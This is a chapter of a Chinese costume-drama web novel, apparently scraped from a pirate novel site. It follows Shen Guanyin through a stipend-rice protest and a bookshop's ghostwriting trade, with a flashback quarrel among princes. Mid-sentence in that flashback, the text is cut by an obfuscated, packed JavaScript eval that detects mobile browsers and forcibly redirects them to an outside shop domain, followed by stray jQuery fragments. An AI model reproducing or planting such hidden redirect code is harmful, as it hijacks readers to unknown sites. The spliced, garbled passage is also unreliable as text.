文趣网 > 都市小说 > 玉兰知秋 > 16. 第 16 章
    翌日一早,沈关音收拾妥帖,背上一只桃粉色的包袱。

    临行前,祝劭元叫住了她。

    “你有没有想过离开孙府?”他靠在窗边看她。

    沈关音扶着门框的手顿了一下。她转过头,“什么?”

    他点了点头,“你对未来有没有什么打算?”

    沈关音静默了。她并非没有。

    乔淑人年轻时随父母宦游,有财力有身份。她何曾不想追随母亲的道路,但她已经经不起路途的遥远和未知的险境。从家乡到青州的这些时日,经历的变数太多了。她喜欢游山玩水,但不喜欢劫匪和花柳巷。

    “我没有想好做什么。”她给自己找了个合理的借口。蓝嬷嬷语重心长地劝导她,然而人生地不熟,谋生计哪里容易?

    祝劭元点了点头,没有追问,也没有露出期望和失望。他放下手中的茶盏,语气平淡地说了一句,“你先想想,不必回答我。全看你的选择。”

    沈关音将包袱挽了挽,出了房门,踏上张嬷嬷备好的车子。

    车轱辘滚到半山书铺门口。她下了车,却被远处一阵喧闹声夺了注意力。

    沈关音站在书铺台阶上遥遥望去。一群熙熙攘攘的人头堵在府衙门口,手里举着揭帖和纸牌。

    “这是做什么?”她随口问了一句。

    一个揽着菜篮的大娘说道:“姑娘,你别说啦。最近州府新发的禄米,折银官价仅有市价一半,官员难以维生。今日这些人都是县衙、府衙里的小官小吏出来闹事,跟我们百姓没有关系的。”

    沈关音温言谢过大娘,转身进了书铺。

    “来拿货了。”她对着柜台后喊道。

    那个后生神不知鬼不觉地从下面冒了出来。他好像提前准备好了似的,将几本书递给沈关音,一边神秘兮兮地说道:“你听说府衙的事了?”

    沈关音点点头,但未答话。

    后生有些幸灾乐祸地说道:“禄米这是有点说头的,搞不好里面有混进去搞事的!”

    沈关音倏然瞪大眼:“莫要信口雌黄!”

    后生打哈哈道:“怕什么?我可不是空穴来风,去岁季冬时闹过事,他们宗室子弟。”他顿了顿,补充道:“为的就是这点禄米。”

    “这跟折银又有什么关系?”沈关音不解。

    “去年,城里的某位郡王饿疯了去抢府衙备用的禄米,引发王府和卫所兵械斗,打伤快上百个人!”

    沈关音骇然:“此事最终如何处置的?”

    “那郡王的长兄是亲王,听说了这事,立即告到朝廷那里去,最后郡王被万岁爷降旨切责,罚俸三年。”

    罚俸三年,相当于在年限内,郡王府的日常开销,仆从月钱都要郡王自掏腰包来维持,衣食住行也不能像往常一样阔气,甚至可能要变卖资产来维持府邸周转。

    “罚得挺重,但不冤枉。”沈关音淡淡说道。她来青州的时间不久,对此地时事了解不多。不过她对此不感到惊讶,毕竟宗室嘛,仗着自己出身高,干出什么无下限的事情她都不奇怪。

    后生仍然滔滔不绝:“从这之后,这个郡王开始学老实了。我听到了一些风声,有些人打着亲王私扣禄米的名义混在人群里面,并且说亲王去年告状,是为了掩盖自己贪污。”

    这番舆论造势可谓一举两得,先不说背后操控者的身份,亲王贪污的消息传出来,势必会引起朝廷注意,届时若有命官查办,郡王便可公报私仇,青州知府也能松口气。

    沈关音将邸报收到包袱里。正准备出门,她的余光忽然瞄到书柜角落的一本平平无奇的书册上。

    《招选录》。

    “老板,这本多少钱?”

    ***

    去岁季冬。乐安王祝劭恩乘轿辇经过惠王府,却见有三两人堵在王府西角门。周围围着一群百姓,议论纷纷。

    他向罗承奉道:“这是在做什么?”

    “禀殿下,是邹平王无端生事。”

    巍然而立的绿瓦作如今被铁锹耙子捅得稀烂,破落的碎片沿着檐顶噼啪而下。一个干瘦黝黑的身影正堵在门旁,若无其事指挥下人搞破坏。

    祝劭恩在轿辇里转了转眼睛,对罗承奉道:“跟惠王说一声,我去劝劝他。”

    一个内侍匆忙走进存心殿,压低声音道:“殿下,大事不好了,邹平王殿下派人把王府的门拆掉了!”

    惠王身穿乌纱折上巾和大红圆领袍,似是刚从圆殿回来,还未来得及更衣。

    他绷紧下巴,“叫他进来。”

    邹平王怒气冲冲踏进存心殿,怒骂:“祝劭元,你凭什么克扣我的禄米!”

    惠王从容地放下笔,幽幽开口:“你欠我二百多两银子什么时候还?”

    “我说了,现在没有钱。”

    “没钱?那就用你的禄米抵扣好了。”

    “你莫要欺人太甚!难道因为你是亲王就可以随便贪了其他人的俸禄?”

    惠王双臂搭在圈椅上,抬眉说道:“我贪了你的俸禄?几个月前你以府中修缮为由和我借了几笔银子,现在到了归期却迟迟未还。不还也就罢了,竟然跑到州府府库大肆劫掠,搞得一片大乱!把你上报到朝廷是公事公办,要不然整个州府谁还能管得了你?”

    邹平王恶狠狠地说道:“你等着。早晚有一天!”

    祝劭恩的声音远远飘进来:“三弟,怎么跟兄长说话呢?”

    邹平王闻声,竟旁侧退了两步。一时之间,殿中鸦雀无声。

    祝劭恩见到惠王,并不行礼,只是笑了笑:“又为什么事吵架?记得儿时总是我和三弟为个几个玩具打起来,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839687|211593||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怎么如今又和兄长吵架?三弟,你出息了啊。”

    惠王从嗤笑一声,从圈椅上站了起来,踱步至祝劭恩面前。他的嘴角仍带着一丝笑意,目光却冷若寒霜。

    半晌,他开口:“什么风把你吹过来了?”

    声音不大,但所有人都能听见。

    祝劭恩往前一步,“不过是看你有难,想着帮帮你罢了。”

    惠王眯起眼睛,“帮我?这话令堂也没少说过。你是来帮我的,还是想借机打听些什么?”

    邹平王夹在二人中间,他往后退了几步,瑟缩地瞧着二人的脸色。

    祝劭恩倒不客气,“做儿子的都知道,父母供养我们长大,是件多不容易的事。我已几个月没见过母亲,思母心切而已。不知道你懂不懂这个道理?还是说令堂去的太早,让你不知道该如何行孝道、做人事?”

    “咳咳咳!”邹平王局促地咳了几声。

    旁侧宫人叉手垂目,噤若寒蝉。

    邹平王尬笑两声:“二哥,你这么严肃做什么?本来就是一点小事,怎的还扯上孝道了。你看看闹成这个样子,大家都下不来台啊。”

    惠王转过身,慢条斯理地端起茶盏,用盖子轻轻刮了刮沫,“恕不相送。”

    看来是想撵人了。祝劭恩冷笑一声,对三弟招了招手:“走吧。”

    邹平王小心翼翼地看了惠王两眼,便跟着祝劭恩一并离去。

    下了台阶,祝劭恩说道:“方才为什么事和兄长吵架?”

    邹平王目色飘移,“不是什么大事。我走了。”

    看着邹平王的背影,祝劭恩的目光越来越沉。

    ***

    沈关音没回田庄,而是去孙府找了秋实。

    一进门,沈关音立即将耳房的凳子让了出来。

    秋实犹豫:“姑娘,还是你坐着吧……”她到底是侍女,让沈关音把座位让出来也不合适。

    沈关音不甚在意,随手将那本《招选录》递给秋实,说道:“我有一事相求,城中这几处书坊,你可知如何?”

    她虽来青州几月,却嫌少出门,对此地行情还不甚了解。

    秋实认真翻看起来,“王记书坊,他家是赚快钱的,通俗话本,字帖;青竹斋,主要是文人士子需要的经史子集类;墨青斋,这家吧,负责广泛。”

    沈关音疑惑,“指的是?”

    秋实将《招选录》还给沈关音,压低了声音:“姑娘有所不知,这个墨青斋,有抄书的,主打的是量大多销,工价按页算;也出售话本,有文人供稿。还有实有一个,是帮人代写,有书生功课、文书、诉状,雇主将要写的东西送到书斋,书斋便会找人手代写,孙公子也找过,让人代写功课。”

    “哦?”沈关音来兴趣了:“敢问一句,这代书一职如何?”